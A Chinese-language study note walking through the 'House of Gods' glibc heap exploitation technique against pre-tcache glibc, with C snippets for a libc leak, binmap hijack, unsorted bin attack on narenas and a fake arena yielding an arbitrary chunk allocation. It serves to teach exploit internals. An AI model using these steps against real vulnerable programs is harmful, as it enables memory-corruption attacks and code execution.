Skip to content

house of gods

复制本地路径 | 在线编辑

相当有趣和综合的攻击方式。虽然 tcache 出来之后,这个攻击已经百分百不可能成功了,但是确实有趣和综合。

malloc_state 需要有非常好的理解才可以。下面就直接说攻击步骤,因为很难总结它的核心原理,用到了很多方面知识。

控制 binmap

如下图所示,这是一个相当好的图,我们现在尝试控制 malloc_statebinmap 结构:

泄露 libc 地址

首先是很常见的利用 unsorted 泄露 libc 地址,如下所示,此时 leakmain_arena 的 unsorted 地址:

void *SMALLCHUNK = malloc(0x88);
void *FAST20 = malloc(0x18);

free(SMALLCHUNK); // 进入 unsorted 中
const uint64_t leak = *((uint64_t*) SMALLCHUNK);

准备控制 binmap

其实控制 binmap 相当简单,因为我们知道 libc 地址(更确切的说,是 main_arena 的 unsorted 地址),那么就可以算出 binmap 在哪里了:

// Use After Free
*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;

此时我们来看看 unsorted 的链表情况,我们只看 bk 指针。第一个肯定是 SMALLCHUNK,这个没啥好说的。

第二个就是 leak+0x7f8,这个地址是 binmap-0x8,之所以是要偏移 -0x8,可以看下面第三块中找到答案:

第三个是 binmap-0x8+0x18=binmap+0x10,这个地址是哪里?查看 malloc_state 结构,可以看到是 next 指针:

struct malloc_state
{
  // binmap:表示bin数组当中某一个下标的bin是否为空,用来在分配的时候加速
  unsigned int binmap[BINMAPSIZE];

  // 分配区全局链表:分配区链表,主分配区放头部,新加入的分配区放main_arean.next 位置 Linked list
  struct malloc_state *next;
  // ...
}

而当我们只有一个 main_arena 的时候,next 指针就指向 main_arena,其内容如下:

此时的 unsorted 内容:

SMALLCHUNK --> binmap-0x8 --> main_arena

实现控制

从上面的图看到,binmap[0] 此时是 0x200,即上面分析的第二个块的 size0x200,所以如下就能获取到 binmap

void *BINMAP = malloc(0x1f8);

此时的 unsorted 内容:

main_arena

利用 binmap 攻击

控制完 binmap 之后,其实相当于控制了 malloc_state 的某些数据结构,下面进行攻击的步骤说明。

利用 unsorted bin attack 修改 narenas

malloc 使用 narenas 变量来记录当前 arena 的数量。如果这个计数器超过了限制(narenas_limit),malloc 就会开始 从 arena 链表中复用已有 arena,而不是创建新的 arena。

我们希望是要复用 arena 链表(后面会看到),所以这里可以通过一次 unsorted bin attack 将其设置为一个非常大的值。

这里提一下是如何做的。在上面一节提到的 unsorted 链表,其 bk 链条是:

SMALLCHUNK --> binmap-0x8 --> main_arena

我们可以再释放一个 0x40 大小的块到 fastbin 中,我们看文章最开始的图:main_arena 的开始就是 malloc_state 结构,而 malloc_state 结构的开始就是 fastbin 链表。如果释放到 0x40 的 fastbin 链表,它的位置相当于这个块的 bk 指针:

上面我们还释放了一个 0x20 大小(数据区大小)的块,为了防止 size 段是 0,造成报错。

剩下的就是利用这个 0x40 大小的块进行 unsorted bin attack 就行,这里直接给代码:

void *SMALLCHUNK = malloc(0x88);
void *FAST20 = malloc(0x18);
void *FAST40 = malloc(0x38);
void *INTM = malloc(0x98);

*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
*((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);

// 此时的 unsorted: head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM

void *BINMAP = malloc(0x1f8); // 获取 binmap,这个在上面一章中有介绍

// 此时的 unsorted: main-arena -> FAST40 -> INTM

*((uint64_t*) (INTM + 0x8)) = leak - 0xa20; // 这是 narenas 地址

// 此时的 unsorted: main-arena -> FAST40 -> INTM -> narenas-0x10

// 这个偏移是 malloc_state 的 system_mem,设置它这样 chunk_size 不会有问题
*((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;

// 执行 unsorted bin attack,malloc 之后会让 narenas 变为很大数字
INTM = malloc(0x98);

修改 mainarena.next

我们后续会用到 mainarena.next,这里进行修改,修改方式很简单,我们都有了 BINMAP 能控制 binmap 后面的内容,那么直接写即可:

// 修改为我们可以控制的块
*((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);

执行两次大内存申请

下面我们执行两次大内存申请:

malloc(0xffffffffffffffbf + 1);
malloc(0xffffffffffffffbf + 1);

第一次中,由于当前 arena 无法处理之前的内存分配请求,所以触发了 reused_arena() 函数,他会遍历 arena 链表,返回可用的 arena。由于从当前开始,所以这一次就返回给了我们 main_arena

第二次中,依旧触发了 reused_arena() 函数,继续遍历 arena 链表,即返回了 main_arena.next

所以现在是 INTM 这个可控制块变成了当前的 malloc_state,即系统认为它里面的内容是用于管理 fastbin 等等数据结构。

执行攻击

所以我们只要修改 INTM 里面的内容,比如修改对应的 fastbin 链表内容,那么就可以了:

// fakechunk,size 是自行构造的,是 0x70
uint64_t fakechunk[4] = {
    0x0000000000000000, 0x0000000000000073,
    0x4141414141414141, 0x0000000000000000
};

// 系统认为 INTM 管理 fastbin 等数据结构,我们把 0x70 对应大小的位置设置为 fakechunk
*((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);

此时申请一个块,成功:

// 此时会得到我们上面的 fakechunk
void *FAKECHUNK = malloc(0x68);

// 可以随便修改
*((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;

总结

相当相当漂亮的攻击,虽然现在不可以用了,但学习这种攻击确实有趣极了。

参考文档:网上找了很长时间,没有好的资料,只有 how2heap 对应的 PoC,对着这个代码进行看了。

Comments